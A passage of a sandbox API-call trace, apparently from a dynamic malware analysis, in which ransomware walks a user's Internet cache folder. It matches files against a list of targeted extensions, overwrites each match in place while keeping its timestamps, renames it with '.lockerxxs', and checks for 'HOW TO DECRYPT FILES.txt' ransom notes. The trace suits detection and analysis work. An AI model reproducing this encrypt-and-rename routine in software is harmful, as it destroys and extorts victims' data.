HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.eml") returned 0 [0084.080] lstrlenA (lpString="*.eml") returned 5 [0084.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.pst") returned 0 [0084.080] lstrlenA (lpString="*.pst") returned 5 [0084.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.ost") returned 0 [0084.080] lstrlenA (lpString="*.ost") returned 5 [0084.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.idx") returned 0 [0084.080] lstrlenA (lpString="*.idx") returned 5 [0084.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.dbx") returned 0 [0084.080] lstrlenA (lpString="*.dbx") returned 5 [0084.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.sql") returned 0 [0084.080] lstrlenA (lpString="*.sql") returned 5 [0084.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.mdb") returned 0 [0084.080] lstrlenA (lpString="*.mdb") returned 5 [0084.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.fdb") returned 0 [0084.080] lstrlenA (lpString="*.fdb") returned 5 [0084.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.wab") returned 0 [0084.080] lstrlenA (lpString="*.wab") returned 5 [0084.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.dat") returned 0 [0084.080] lstrlenA (lpString="*.dat") returned 5 [0084.080] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.txt") returned 0 [0084.080] lstrlenA (lpString="*.txt") returned 5 [0084.081] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.jpeg") returned 0 [0084.081] lstrlenA (lpString="*.jpeg") returned 6 [0084.081] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", pszSpec="*.jpg") returned 1 [0084.081] lstrlenA (lpString="*.jpg") returned 5 [0084.081] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg" [0084.081] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg" [0084.081] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg." [0084.081] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg.lockerxxs" [0084.081] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmgjo[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.082] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x29ca [0084.082] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53598a50, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53598a50, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53630fd0, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.082] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.082] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x29a4, lpOverlapped=0x0) returned 1 [0084.084] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg") returned="BBBMGJo[1].jpg" [0084.084] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.084] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x29a4, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x29a4, lpOverlapped=0x0) returned 1 [0084.085] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.085] CloseHandle (hObject=0xa4) returned 1 [0084.085] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmgjo[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmgjo[1].jpg.lockerxxs")) returned 1 [0084.086] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x539049f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x539049f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x539049f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x862, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBMKDF[1].jpg", cAlternateFileName="BBBMKD~1.JPG")) returned 1 [0084.086] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.086] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBMKDF[1].jpg") returned 1 [0084.086] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBMKDF[1].jpg") returned 1 [0084.086] lstrcmpiA (lpString1="", lpString2="BBBMKDF[1].jpg") returned -1 [0084.086] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMGJo[1].jpg") returned="BBBMGJo[1].jpg" [0084.086] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.086] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.086] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.086] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.086] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBMKDF[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg" [0084.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.ems") returned 0 [0084.087] lstrlenA (lpString="*.ems") returned 5 [0084.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.db") returned 0 [0084.087] lstrlenA (lpString="*.db") returned 4 [0084.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.dbf") returned 0 [0084.087] lstrlenA (lpString="*.dbf") returned 5 [0084.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.myox") returned 0 [0084.087] lstrlenA (lpString="*.myox") returned 6 [0084.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.myo") returned 0 [0084.087] lstrlenA (lpString="*.myo") returned 5 [0084.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.qbw") returned 0 [0084.087] lstrlenA (lpString="*.qbw") returned 5 [0084.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.qbb") returned 0 [0084.087] lstrlenA (lpString="*.qbb") returned 5 [0084.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.qbm") returned 0 [0084.087] lstrlenA (lpString="*.qbm") returned 5 [0084.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.qbo") returned 0 [0084.087] lstrlenA (lpString="*.qbo") returned 5 [0084.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.qbx") returned 0 [0084.087] lstrlenA (lpString="*.qbx") returned 5 [0084.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.qba") returned 0 [0084.087] lstrlenA (lpString="*.qba") returned 5 [0084.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.qby") returned 0 [0084.087] lstrlenA (lpString="*.qby") returned 5 [0084.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.qbj") returned 0 [0084.088] lstrlenA (lpString="*.qbj") returned 5 [0084.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.ofx") returned 0 [0084.088] lstrlenA (lpString="*.ofx") returned 5 [0084.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.qif") returned 0 [0084.088] lstrlenA (lpString="*.qif") returned 5 [0084.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.mye") returned 0 [0084.088] lstrlenA (lpString="*.mye") returned 5 [0084.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.mbox") returned 0 [0084.088] lstrlenA (lpString="*.mbox") returned 6 [0084.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.eml") returned 0 [0084.088] lstrlenA (lpString="*.eml") returned 5 [0084.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.pst") returned 0 [0084.088] lstrlenA (lpString="*.pst") returned 5 [0084.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.ost") returned 0 [0084.088] lstrlenA (lpString="*.ost") returned 5 [0084.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.idx") returned 0 [0084.088] lstrlenA (lpString="*.idx") returned 5 [0084.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.dbx") returned 0 [0084.088] lstrlenA (lpString="*.dbx") returned 5 [0084.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.sql") returned 0 [0084.088] lstrlenA (lpString="*.sql") returned 5 [0084.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.mdb") returned 0 [0084.088] lstrlenA (lpString="*.mdb") returned 5 [0084.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.fdb") returned 0 [0084.088] lstrlenA (lpString="*.fdb") returned 5 [0084.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.wab") returned 0 [0084.089] lstrlenA (lpString="*.wab") returned 5 [0084.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.dat") returned 0 [0084.089] lstrlenA (lpString="*.dat") returned 5 [0084.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.txt") returned 0 [0084.089] lstrlenA (lpString="*.txt") returned 5 [0084.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.jpeg") returned 0 [0084.089] lstrlenA (lpString="*.jpeg") returned 6 [0084.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", pszSpec="*.jpg") returned 1 [0084.089] lstrlenA (lpString="*.jpg") returned 5 [0084.090] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg" [0084.090] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg" [0084.090] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg." [0084.090] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg.lockerxxs" [0084.090] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmkdf[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.091] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x862 [0084.091] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x539049f0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x539049f0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x539049f0, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.091] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.091] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x83c, lpOverlapped=0x0) returned 1 [0084.093] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg") returned="BBBMKDF[1].jpg" [0084.093] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.093] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x83c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x83c, lpOverlapped=0x0) returned 1 [0084.093] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.093] CloseHandle (hObject=0xa4) returned 1 [0084.093] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBMKDF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbmkdf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 